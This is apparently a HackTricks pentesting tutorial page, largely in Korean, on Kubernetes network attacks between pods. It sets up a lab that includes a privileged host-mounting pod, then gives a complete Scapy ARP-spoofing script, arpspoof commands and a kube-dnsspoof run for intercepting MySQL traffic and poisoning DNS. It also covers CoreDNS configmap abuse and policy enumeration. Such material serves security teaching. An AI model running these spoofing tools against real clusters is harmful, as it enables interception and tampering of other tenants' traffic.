15 KiB
Kubernetes Network Attacks
{{#include ../../banners/hacktricks-training.md}}
Introduction
Kubernetes에서는 기본 동작으로 같은 node에 있는 모든 container 간 연결이 허용되는 것이 관찰됩니다. 이는 namespace 구분과 무관하게 적용됩니다. 이러한 연결성은 Layer 2 (Ethernet)까지 이어집니다. 따라서 이 설정은 잠재적으로 시스템을 취약하게 만들 수 있습니다. 특히, 같은 node에 위치한 다른 container를 대상으로 malicious container가 ARP spoofing attack을 수행할 수 있게 됩니다. 이러한 attack 동안 malicious container는 다른 container를 위해 의도된 network traffic을 기만적으로 가로채거나 수정할 수 있습니다.
ARP spoofing attack은 attacker가 위조된 ARP (Address Resolution Protocol) 메시지를 local area network를 통해 보내는 것을 포함합니다. 그 결과 attacker의 MAC address가 네트워크상의 정상 computer 또는 server의 IP address와 연결됩니다. 이러한 attack이 성공적으로 실행된 후에는 attacker가 전송 중인 data를 가로채거나, 수정하거나, 심지어 중단시킬 수도 있습니다. 이 attack은 OSI model의 Layer 2에서 수행되므로, Kubernetes에서 이 계층의 기본 연결성은 security concerns를 야기합니다.
이 scenario에서는 4 machines가 생성됩니다:
- ubuntu-pe: node로 escape하고 metrics를 확인하기 위한 privileged machine (attack에는 필요하지 않음)
- ubuntu-attack: default namespace의 malicious container
- ubuntu-victim: kube-system namespace의 victim machine
- mysql: default namespace의 victim machine
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
Basic Kubernetes Networking
여기서 소개된 networking 주제에 대한 더 자세한 내용이 필요하면, references를 확인하세요.
ARP
일반적으로, node 내부의 pod-to-pod networking은 모든 pod를 연결하는 bridge를 통해 제공됩니다. 이 bridge는 “cbr0”라고 불립니다. (일부 network plugin은 자체 bridge를 설치합니다.) cbr0는 ARP (Address Resolution Protocol) resolution도 처리할 수 있습니다. incoming packet이 cbr0에 도착하면, ARP를 사용해 destination MAC address를 resolve할 수 있습니다.
이 사실은 기본적으로 같은 node에서 실행 중인 모든 pod가 같은 node의 다른 어떤 pod와도 namespace와 무관하게 ethernet level (layer 2)에서 communicate할 수 있음을 의미합니다.
Warning
따라서, 같은 node의 pod 사이에서 ARP Spoofing attacks를 수행할 수 있습니다.
NetworkPolicy and admin policy layers
Kubernetes NetworkPolicy는 L3/L4에서의 pod traffic control이지만, API server 자체가 아니라 CNI plugin에 의해 enforced됩니다. cluster는 NetworkPolicy objects를 저장하면서도, active CNI가 이를 구현하지 않으면 traffic을 계속 허용할 수 있으므로, 항상 controlled allowed source와 blocked negative-control source로 검증하세요.
kubectl get networkpolicy -A에서 멈추지 마세요. Cilium, Calico, OVN-Kubernetes, Antrea, 또는 managed-provider dataplanes를 사용하는 cluster에는 CiliumNetworkPolicy, CiliumClusterwideNetworkPolicy, Calico GlobalNetworkPolicy, AdminNetworkPolicy, 또는 BaselineAdminNetworkPolicy 같은 policy API도 있을 수 있습니다. 이런 것들은 explicit deny, tier/order, cluster scope, L7/DNS rules, 또는 일반적인 additive Kubernetes NetworkPolicy semantics로는 설명되지 않는 admin guardrails를 추가할 수 있습니다.
유용한 첫 번째 확인:
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
우회 분석을 위해, 의도된 차단이 허용된 proxy, DNS 또는 egress gateway, hostNetwork pod, node-local path, 넓은 namespace 또는 pod label selector, 또는 더 높은 우선순위의 admin/global policy를 통해 회피되는지 확인하세요. source pod labels, namespace labels, destination Service 또는 EndpointSlice, CNI/policy implementation, 판단에 사용된 policy rule, 그리고 traffic proof를 보고하세요.
DNS
kubernetes 환경에서는 보통 kube-system namespace에서 1개(또는 그 이상)의 DNS 서비스가 실행 중인 것을 찾을 수 있습니다:
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
IP: 10.96.0.10
IPs: 10.96.0.10
Port: dns 53/UDP
TargetPort: 53/UDP
Endpoints: 172.17.0.2:53
Port: dns-tcp 53/TCP
TargetPort: 53/TCP
Endpoints: 172.17.0.2:53
Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
이전 정보에서 흥미로운 점을 볼 수 있습니다. 서비스의 IP는 10.96.0.10이지만, 해당 서비스를 실행 중인 pod의 IP는 172.17.0.2입니다.
어떤 pod 안에서든 DNS 주소를 확인하면 다음과 같은 것을 볼 수 있습니다:
cat /etc/resolv.conf
nameserver 10.96.0.10
그러나 pod는 해당 주소로 가는 방법을 모릅니다. 이 경우 pod range는 172.17.0.10/26이기 때문입니다.
따라서 pod는 DNS requests를 주소 10.96.0.10로 전송하며, 이는 cbr0에 의해 172.17.0.2로 변환됩니다.
Warning
이는 pod의 DNS request가 DNS server가 pod와 같은 subnetwork에 있더라도, service IP를 endpoint IP로 변환하기 위해 항상 bridge를 거친다는 뜻입니다.
이를 알고, ARP attacks are possible하다는 점을 알면, node 안의 pod는 각 pod와 bridge 사이의 subnetwork 트래픽을 intercept하고 DNS server의 DNS responses를 수정할 수 있습니다(DNS Spoofing).
게다가, DNS server가 attacker와 같은 node에 있다면, attacker는 cluster의 어떤 pod에 대해서도 모든 DNS request를 (DNS server와 bridge 사이에서) intercept하고 응답을 수정할 수 있습니다.
Note
실제 cluster에서 이것이 동작한다고 가정하기 전에 활성 CNI와 DNS path를 검증하세요. 일부 CNI는 같은 node 트래픽을 다르게 route하거나 isolate하며, NodeLocal DNSCache를 사용하는 cluster는 pod DNS query를 CoreDNS로 전달하기 전에 node-local address로 보낼 수 있습니다. 이러한 환경에서는 DNS spoofing이 pod placement, packet capabilities, resolver configuration, node-local cache behavior, 그리고 applications가 TLS나 다른 identity mechanism으로 peer를 검증하는지 여부에 따라 달라집니다.
같은 Node의 pods에서 ARP Spoofing
우리의 목표는 ubuntu-victim에서 mysql로 가는 통신 최소한을 훔치는 것입니다.
Scapy
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses
# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0
# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
ARPSpoof
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
DNS Spoofing
이미 언급했듯이, DNS server pod와 같은 node 안의 pod를 compromise하면, ARPSpoofing으로 bridge와 DNS pod 사이에서 MitM할 수 있고 모든 DNS responses를 modify할 수 있습니다.
이것을 테스트할 수 있는 정말 좋은 tool과 tutorial이 https://github.com/danielsagi/kube-dnsspoof/에 있습니다.
우리 시나리오에서는, attacker pod에서 tool을 download하고 다음처럼 spoof하고 싶은 domains가 들어 있는 hosts라는 file을 생성합니다:
cat hosts
google.com. 1.1.1.1
ubuntu-victim 머신에 대해 공격을 수행하세요:
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
Note
If you try to create your own DNS spoofing script, if you just modify the the DNS response that is not going to work, because the response is going to have a src IP the IP address of the malicious pod and won't be accepted.
You need to generate a new DNS packet with the src IP of the DNS where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
DNS Spoofing via coreDNS configmap
coredns configmap에 대한 write permissions가 있는 사용자는 kube-system namespace의 cluster DNS 응답을 수정할 수 있습니다.
또한 배포되어 있다면 NodeLocal DNSCache도 확인하세요. 보통 hostNetwork DaemonSet으로 실행되며, 자체 ConfigMap, logs, cache, 그리고 forwarding path를 가집니다. CoreDNS 변경이 DNS 동작에 영향을 주거나 이를 관찰할 수 있는 유일한 지점은 아닐 수 있습니다.
이 공격에 대한 더 많은 정보는 다음에서 확인하세요:
{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}
Abusing exposed kubernetes management services
Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, 그리고 Kubernetes dashboard 같은 서비스는 종종 인터넷이나 kubernetes network 내부에 노출됩니다. kubernetes를 관리하는 데 사용되는 어떤 플랫폼이든 찾아서 접근하는 데 성공한 공격자는 이를 악용해 kubernetes API에 접근하고 새 pods를 생성하거나, 기존 pods를 수정하거나, 심지어 삭제하는 등의 작업을 수행할 수 있습니다.
Enumerating kubernetes network policies
설정된 networkpolicies 가져오기:
kubectl get networkpolicies --all-namespaces
Get Callico network policies:
kubectl get globalnetworkpolicy --all-namespaces
Get Cillium network policies:
kubectl get ciliumnetworkpolicy --all-namespaces
네트워크 plugin 또는 security solution이 설치한 다른 policy-related CRD를 확인하세요:
kubectl get crd | grep -i policy
Traffic 캡처
도구 Mizu는 Kubernetes를 위한 간단하지만 강력한 API traffic viewer로, microservices 간의 모든 API communication을 볼 수 있게 해주며 debug하고 regression을 troubleshoot하는 데 도움을 줍니다.
이 도구는 선택한 pods에 agents를 설치하고 그들의 traffic information을 수집한 뒤 web server에 표시합니다. 다만, 이를 위해서는 높은 K8s permissions가 필요합니다(그리고 그리 stealthy하지도 않습니다).
References
- https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
- https://blog.aquasec.com/dns-spoofing-kubernetes-clusters
{{#include ../../banners/hacktricks-training.md}}